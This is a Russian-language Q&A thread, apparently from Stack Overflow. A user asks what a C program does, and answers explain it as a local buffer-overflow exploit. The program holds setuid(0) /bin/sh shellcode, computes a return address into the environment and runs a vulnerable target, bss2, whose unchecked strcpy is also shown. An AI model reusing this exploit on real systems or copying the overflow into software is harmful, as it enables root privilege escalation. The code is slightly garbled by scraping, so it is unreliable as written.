Что делает эта программа?

#c #exploit #shellcode #execve

#c #эксплойт #шеллкод #выполнить

Вопрос:

 #define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={"./bss2",buf,NULL};
    char *envir[]={"Bytes=2Lu",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf   bufsize - 4,(char *)amp;ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}
  

что они делают memcpy и memset перед execve ?Как это влияет на программу proc ?

ОБНОВИТЕ код для bss2

 #define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, "%s", string);
}
  

Обновить

Кажется, теперь проблема сводится к тому, где расположены переменные среды?

Ответ №1:

Код создает строку аргументов и среду (например, место, где находятся переменные среды). Аргумент содержит "./bss2" in argv[0] и строку из 256 B символов, за которой следует обратный адрес в argv[1] . Среда содержит фиктивную переменную в первом расположении и шелл-код во втором расположении.

Предположительно, целевое приложение bss2 содержит переменную char x[256]; , в которую оно копирует argv[1] без проверки границ. Это приводит к перезаписи адреса возврата функции адресом возврата, вычисленным в ret_addr , который, как мы надеемся, указывает на блок среды.

Комментарии:

1. значит, адреса переменных среды одинаковы в разных процессах?

2. Адрес не тот, но, вероятно, местоположение среды относительно других частей карты памяти такое же.

Ответ №2:

Мне кажется странным, потому что аргумент buf не завершается нулем.

Ну, memset и memcpy выполняют некоторый взлом с первым аргументом программы, а затем execve запускает его. Извините, не могу сказать больше…

Комментарии:

1. Похоже, что шелл-код помещается в переменную среды, а затем в стек загружается мусор, чтобы попытаться заставить его выполнить.

2. @Jason, я только что обновил приведенный выше код bss2 , и он не извлекает код оболочки из переменной окружения.

3. Она не собирается извлекать его путем прямого доступа к переменной env, она пытается переместить стек в пространство переменных среды, где ожидает код.

4. @Jason LeBrun, я не вижу такой логики в приведенном выше коде, вы можете ее уточнить?

Ответ №3:

Я не эксперт, но похоже, что она пытается запустить какой-то эксплойт.

Индикаторы включают идентификатор shellcode , манипулирование аргументами другого исполняемого файла с помощью memset / memcpy и вычисление некоторого ret_addr значения.

Ответ №4:

Похоже, что есть некоторые элементы, которые не определены в коде, который вы опубликовали. Определяется ли шелл-код как макрос или что-то в этомроде? Значение bufsize также неизвестно.

Похоже, что вызов memset инициализирует буфер buf восьмеричным значением 0x42.

Похоже, что вызов memcpy вставляет адрес в конец буфера обмена.

Как упоминалось, этот буфер (buf) в конечном итоге передается в качестве аргумента процессу bss2.

Ответ №5:

Не удается скомпилировать, потому что bufsize и shellcode не определены.

Более серьезно, похоже, что она пытается использовать переполнение буфера или что-то подобное при вызове команды командной оболочки bss2 .

Ответ №6:

В качестве упражнения для себя я начал разбирать шелл-код вручную. Я добрался до:

 XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx 23]  #load 23 into eax
INT 0x80      #do a system call
  

После этого мне стало скучно, но системный вызов 23 в Linux для вызовов INT 0x80 — это sys_setuid , поэтому похоже, что это код для установки UID в 0 или получения root. Неудивительно, поскольку это shell-код. 🙂

Комментарии:

1. Об этом также говорится в комментарии «setuid(0) shellcode от Матиаса Седало». Вы также можете разобрать ее с помощью ndisasm . 🙂